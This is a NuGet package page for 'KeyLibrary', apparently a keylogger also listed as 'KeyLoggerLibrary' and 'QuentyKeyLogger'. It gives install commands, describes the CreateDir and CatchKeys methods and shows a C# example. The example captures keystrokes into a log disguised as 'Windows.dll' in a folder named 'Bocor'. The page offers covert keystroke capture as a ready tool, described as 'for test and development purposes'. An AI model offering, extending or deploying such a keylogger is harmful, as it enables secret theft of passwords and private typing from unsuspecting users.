KeyLibrary 1.0.0

Install-Package KeyLibrary -Version 1.0.0
dotnet add package KeyLibrary --version 1.0.0
<PackageReference Include="KeyLibrary" Version="1.0.0" />
For projects that support PackageReference, copy this XML node into the project file to reference the package.
paket add KeyLibrary --version 1.0.0
The NuGet Team does not provide support for this client. Please contact its maintainers for support.
#r "nuget: KeyLibrary, 1.0.0"
#r directive can be used in F# Interactive, C# scripting and .NET Interactive. Copy this into the interactive tool or source code of the script to reference the package.
// Install KeyLibrary as a Cake Addin
#addin nuget:?package=KeyLibrary&version=1.0.0

// Install KeyLibrary as a Cake Tool
#tool nuget:?package=KeyLibrary&version=1.0.0
The NuGet Team does not provide support for this client. Please contact its maintainers for support.


It is not allowed to decompile the library. It is not allowed to spend them as your own. It is not permitted to resell, forward and upload them on any platform. You can use the library in your application. When you publish your application you have to give me a credit.


It is not difficult to install this library under Nuget. Either go to the Nuget page and search for 'SRTLibrarys', 'KeyLoggerLibrary' or 'QuentyKeyLogger' in the 'Package search field'. When you have found the right package, you look for the installation command looks something like this: "PM> Install-Package <!Package!> -Version <!version!>" and copy the text and paste in Visual Studio in the package manager console and install it, or you go to Visual Studio in Project Explorer, add a reference to Nuget and then just install my library.


Overview You can use my library in several different ways. 1: Use it to intercept the keyboard keys while your program is running and save them in a text file for various purposes. You can then use this text file in your program, for example. 2: But of course you can also use the function as a keylogger for test and development purposes. But you will find your own way to use my library.


My library initially contains 2 methods. First the CreateDir (filepath, filename) and the CatchKeys (path, keyStateNum, threadMillis) method. Details are coming now.

##CreateDir() The CreateDir () method, as it is already in the name, will create the directory where the file with the saved keys should be. The parameters, 1: filepath and 2: filename only determine where and how the file is created.

##CatchKeys() The CatchKeys() method, will intercept the typed keys and write them into the previously created file. The first parameter passes the path where the file is located so that the file can be written to. here you simply pass the property standartPath to which the path entered was assigned in the CreateDir() method. The second parameter passes, the integer, which is recognized when a key is pressed. By default it is -32767 or 32767 for me its 32769. It can be a different number for each PC. If this number is incorrect, with which the key that is pressed is output, it will not work and no key presses will be recognized. The third parameter is the one that specifies the milliseconds in the while loop. I would recommend to set this to 10 - 20, if you have a worse CPU you can set this sleep higher.


IMPORTANT The methods are overwritten, which means that the standard methods body content is carried out, but you can add something. For example, you spend something in the console. You have to inherit from the class QuentyHelper to fully use the methods. Because these will be overwritten.

class Program : QuentyHelper
    static void Main(string[] args)
        Program p = new Program();
        p.CreateDir(@"D:\Bocor\", @"Windows.dll"); // Call the method and defining the parameters
        p.CatchKeys(p.standartPath, 32769, 10); // Call the method and defining the parameters


    public override void CreateDir(string filepath, string filename) // Override the method
        base.CreateDir(filepath, filename); // Call the method
        Console.WriteLine("Dir Created!"); // Adding some stuff


    public override void CatchKeys(string path, int keyStateNum, int threadMilis) // Override the method
        base.CatchKeys(path, keyStateNum, threadMilis); // Call the method

There are no supported framework assets in this package.

Learn more about Target Frameworks and .NET Standard.

  • .NETStandard 2.0

    • No dependencies.

NuGet packages

This package is not used by any NuGet packages.

GitHub repositories

This package is not used by any popular GitHub repositories.

Version Downloads Last updated
1.0.0 198 7/1/2020

Diese Version ist der Erste Release. Es können immer Bugs und Fehler auftreten. So bitte ich euch diese in meinem Github Repository zu melden! Vielen Dank.